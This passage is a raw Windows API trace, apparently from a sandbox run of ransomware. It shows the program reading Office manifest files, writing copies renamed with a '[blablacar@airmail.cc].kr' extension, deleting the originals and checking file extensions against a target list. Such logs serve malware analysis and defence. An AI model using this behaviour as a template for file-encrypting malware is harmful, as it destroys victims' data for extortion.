1 [0097.486] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0097.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0097.486] GetLastError () returned 0x0 [0097.486] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed, lpOverlapped=0x0) returned 1 [0097.961] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4f0, lpOverlapped=0x0) returned 1 [0097.963] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0097.963] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0097.963] SetEndOfFile (hFile=0x374) returned 1 [0098.544] CloseHandle (hObject=0x374) returned 1 [0098.551] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0098.551] SetEndOfFile (hFile=0x36c) returned 1 [0098.552] CloseHandle (hObject=0x36c) returned 1 [0098.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0098.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0098.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.553] lstrlenW (lpString=".doc") returned 4 [0098.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.553] lstrlenW (lpString=".docx") returned 5 [0098.553] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.553] lstrlenW (lpString=".pdf") returned 4 [0098.553] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.553] lstrlenW (lpString=".xls") returned 4 [0098.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.553] lstrlenW (lpString=".xlsx") returned 5 [0098.553] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.553] lstrlenW (lpString=".ppt") returned 4 [0098.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.554] lstrlenW (lpString=".zip") returned 4 [0098.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.554] lstrlenW (lpString=".rar") returned 4 [0098.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString=".bz2") returned 4 [0098.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString=".7z") returned 3 [0098.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.554] lstrlenW (lpString=".dbf") returned 4 [0098.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.554] lstrlenW (lpString=".1cd") returned 4 [0098.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.554] lstrlenW (lpString=".jpg") returned 4 [0098.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.554] lstrlenW (lpString=".doc") returned 4 [0098.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString=".docx") returned 5 [0098.554] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.554] lstrlenW (lpString=".pdf") returned 4 [0098.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.554] lstrlenW (lpString=".xls") returned 4 [0098.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.555] lstrlenW (lpString=".xlsx") returned 5 [0098.555] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.555] lstrlenW (lpString=".ppt") returned 4 [0098.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.555] lstrlenW (lpString=".zip") returned 4 [0098.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.555] lstrlenW (lpString=".rar") returned 4 [0098.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.555] lstrlenW (lpString=".bz2") returned 4 [0098.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.555] lstrlenW (lpString=".7z") returned 3 [0098.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.555] lstrlenW (lpString=".dbf") returned 4 [0098.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.555] lstrlenW (lpString=".1cd") returned 4 [0098.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0098.555] lstrlenW (lpString=".jpg") returned 4 [0098.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.555] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0098.555] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0098.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0098.556] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1261) returned 1 [0098.556] CloseHandle (hObject=0x36c) returned 1 [0098.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0098.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0098.556] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0098.556] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0098.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0098.557] GetLastError () returned 0x0 [0098.557] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed, lpOverlapped=0x0) returned 1 [0098.558] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4f0, lpOverlapped=0x0) returned 1 [0098.559] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0098.559] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0098.559] SetEndOfFile (hFile=0x374) returned 1 [0098.560] CloseHandle (hObject=0x374) returned 1 [0098.563] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0098.563] SetEndOfFile (hFile=0x36c) returned 1 [0098.564] CloseHandle (hObject=0x36c) returned 1 [0098.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0098.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0098.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.565] lstrlenW (lpString=".doc") returned 4 [0098.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.565] lstrlenW (lpString=".docx") returned 5 [0098.565] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.565] lstrlenW (lpString=".pdf") returned 4 [0098.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.565] lstrlenW (lpString=".xls") returned 4 [0098.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.565] lstrlenW (lpString=".xlsx") returned 5 [0098.565] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.565] lstrlenW (lpString=".ppt") returned 4 [0098.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.565] lstrlenW (lpString=".zip") returned 4 [0098.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.566] lstrlenW (lpString=".rar") returned 4 [0098.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString=".bz2") returned 4 [0098.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString=".7z") returned 3 [0098.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.566] lstrlenW (lpString=".dbf") returned 4 [0098.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.566] lstrlenW (lpString=".1cd") returned 4 [0098.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.566] lstrlenW (lpString=".jpg") returned 4 [0098.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.566] lstrlenW (lpString=".doc") returned 4 [0098.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString=".docx") returned 5 [0098.566] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0098.566] lstrlenW (lpString=".pdf") returned 4 [0098.566] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString=".xls") returned 4 [0098.566] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0098.566] lstrlenW (lpString=".xlsx") returned 5 [0098.566] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0098.566] lstrlenW (lpString=".ppt") returned 4 [0098.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0098.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.567] lstrlenW (lpString=".zip") returned 4 [0098.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0098.567] lstrlenW (lpString=".rar") returned 4 [0098.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0098.567] lstrlenW (lpString=".bz2") returned 4 [0098.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0098.567] lstrlenW (lpString=".7z") returned 3 [0098.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0098.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.567] lstrlenW (lpString=".dbf") returned 4 [0098.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0098.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.567] lstrlenW (lpString=".1cd") returned 4 [0098.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0098.567] lstrlenW (lpString=".jpg") returned 4 [0098.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0098.567] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0098.567] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0098.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0098.568] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1261) returned 1 [0098.568] CloseHandle (hObject=0x36c) returned 1 [0098.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0098.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0098.568] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0098.568] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0098.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0098.569] GetLastError () returned 0x0 [0098.569] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4ed, lpOverlapped=0x0) returned 1 [0098.570] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4f0, lpOverlapped=0x0) returned 1 [0098.571] ReadFile (in: hFile=0x36c, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0098.571] WriteFile (in: hFile=0x374, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x13e, lpOverlapped=0x0) returned 1 [0098.571] SetEndOfFile (hFile=0x374) returned 1 [0098.571] CloseHandle (hObject=0x374) returned 1 [0099.059] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0099.059] SetEndOfFile (hFile=0x36c) returned 1 [0099.060] CloseHandle (hObject=0x36c) returned 1 [0099.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0099.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0099.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.061] lstrlenW (lpString=".doc") returned 4 [0099.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString=".docx") returned 5 [0099.061] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.061] lstrlenW (lpString=".pdf") returned 4 [0099.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString=".xls") returned 4 [0099.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString=".xlsx") returned 5 [0099.061] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.061] lstrlenW (lpString=".ppt") returned 4 [0099.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.061] lstrlenW (lpString=".zip") returned 4 [0099.061] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.061] lstrlenW (lpString=".rar") returned 4 [0099.061] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString=".bz2") returned 4 [0099.061] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString=".7z") returned 3 [0099.061] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.061] lstrlenW (lpString=".dbf") returned 4 [0099.061] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.061] lstrlenW (lpString=".1cd") returned 4 [0099.061] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.062] lstrlenW (lpString=".jpg") returned 4 [0099.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.062] lstrlenW (lpString=".doc") returned 4 [0099.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString=".docx") returned 5 [0099.062] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.062] lstrlenW (lpString=".pdf") returned 4 [0099.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString=".xls") returned 4 [0099.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString=".xlsx") returned 5 [0099.062] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.062] lstrlenW (lpString=".ppt") returned 4 [0099.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.062] lstrlenW (lpString=".zip") returned 4 [0099.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.062] lstrlenW (lpString=".rar") returned 4 [0099.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString=".bz2") returned 4 [0099.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.062] lstrlenW (lpString=".7z") returned 3 [0099.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.062] lstrlenW (lpString=".dbf") returned 4 [0099.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.063] lstrlenW (lpString=".1cd") returned 4 [0099.063] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0099.063] lstrlenW (lpString=".jpg") returned 4 [0099.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.063] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0099.063] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0099.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0099.063] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2147) returned 1 [0099.063] CloseHandle 